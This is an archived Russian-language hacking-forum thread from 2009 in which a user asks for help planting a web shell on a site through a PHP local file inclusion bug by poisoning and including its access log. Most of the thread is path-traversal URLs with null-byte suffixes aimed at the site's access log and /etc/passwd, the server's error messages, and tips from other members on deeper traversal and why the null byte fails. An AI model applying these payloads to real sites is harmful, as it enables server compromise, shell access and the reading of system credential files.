Просмотр полной версии : Помогите залить шелл
зы не удаляете модеры плиз.
сделал запрос к сайту с адресом шелла.
адресс шела остался в логах. теперь надо как то инклюдить логи.
нужно найти лог как то.
я ввел:
http://www.site.ru/index.php?id=../../../../../www.site.ru/logs/access.log%00
вот что пишет:
Warning: main(texts/../../../../../www.site.ru/logs/access.log .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main(texts/../../../../../www.site.ru/logs/access.log .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main() [function.include]: Failed opening 'texts/../../../../../www.site.ru/logs/access.log .php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6
подскажите кто нибудь?
AkyHa_MaTaTa
24.01.2009, 18:50
зы не удаляете модеры плиз.
нужно найти лог как то.
я ввел:
http://www.site.ru/index.php?id=../../../../../www.site.ru/logs/access.log%00
вот что пишет:
Warning: main(texts/../../../../../www.site.ru/logs/access.log .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main(texts/../../../../../www.site.ru/logs/access.log .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main() [function.include]: Failed opening 'texts/../../../../../www.site.ru/logs/access.log .php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6
и че ты делаешь, ты подымаешься в корень / и пытаешься открыть там /www.site.ru/logs/access.log,
попробуй для начала хотя бы прочитать ../../../../../etc/passwd%00
AkyHa_MaTaTa:
Warning: main(texts/../../../../../etc/passwd .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main(texts/../../../../../etc/passwd .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main() [function.include]: Failed opening 'texts/../../../../../etc/passwd .php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6
No such file or directory
Переведи это...
и похоже %00 не работает, есть какой-то аналог?
пищу http://www.site.ru/index.php?id=../script.php%00 - скрипт не инклюдиться
пищу http://www.site.ru/index.php?id=../script - скрипт инклюдиться
и похоже %00 не работает, есть какой-то аналог?
пищу http://www.site.ru/index.php?id=../script.php%00 - скрипт не инклюдиться
пищу http://www.site.ru/index.php?id=../script - скрипт инклюдиться
блин чеж ты такой тугой =\ тебе же отписали, ты перевел? а теперь подумай что это заначит.
xcedz, бл* я знаю как переводиться. но это ту не причем!
вот пример! который показывает что %00 не работает!
index.php добавляет ".PHP" к запросу!
пищу http://www.site.ru/index.php?id=../script - скрипт инклюдиться
///ЗДЕСЬ он дабавляет и все работает
пищу http://www.site.ru/index.php?id=../script.php%00 - скрипт не инклюдиться
/// ЗДЕСЬ %00 должен обрубить правую часть но он не обрубает!!
и кто тугой бля*?? причем тут перевод???
AkyHa_MaTaTa
24.01.2009, 19:15
AkyHa_MaTaTa:
Warning: main(texts/../../../../../etc/passwd .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main(texts/../../../../../etc/passwd .php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main() [function.include]: Failed opening 'texts/../../../../../etc/passwd .php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6
passwd_.php null байт не канает, напряги мозги, и подумай, там ничего сложного нету
xcedz, бл* я знаю как переводиться. но это ту не причем!
вот пример! который показывает что %00 не работает!
index.php добавляет ".PHP" к запросу!
пищу http://www.site.ru/index.php?id=../script - скрипт инклюдиться
///ЗДЕСЬ он дабавляет и все работает
пищу http://www.site.ru/index.php?id=../script.php%00 - скрипт не инклюдиться
/// ЗДЕСЬ %00 должен обрубить правую часть но он не обрубает!!
и кто тугой бля*?? причем тут перевод???
ты можешь прочитать хотябы элементарно etc/passwd ? что он тебе выведет? :D
AkyHa_MaTaTa ты написал null байт
вот без нул байта:
Warning: main(texts/../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main(texts/../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /home/httpd/virtual/www.site.ru/index.php on line 6
Warning: main() [function.include]: Failed opening 'texts/../../../../../etc/passwd.php' for inclusion (include_path='.:/usr/local/share/pear') in /home/httpd/virtual/www.site.ru/index.php on line 6
xcedz не выводит!
о чем это говорит? два варианта, возможен третий =)
aka PSIH
24.01.2009, 19:22
попробуй ../../../../../../../../../etc/passwd? ;)
xcedz, я бл* прошу помощи, а ты тут выеб*шся..
xcedz, я бл* прошу помощи, а ты тут выеб*шся..
мне интересно почему предыдущий твой топ снесли? :(
а мне интересно как получить шел.
все такие умные. объяснили бы новичку нормально что да как.
AkyHa_MaTaTa
24.01.2009, 19:34
xcedz, я бл* прошу помощи, а ты тут выеб*шся..
я наверно не правильно написал, null байт не канает(судя по ошибке),а это озаначает что все равно будет добавляться .php расширения, так что инклюдить выйдет тока php файлы.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot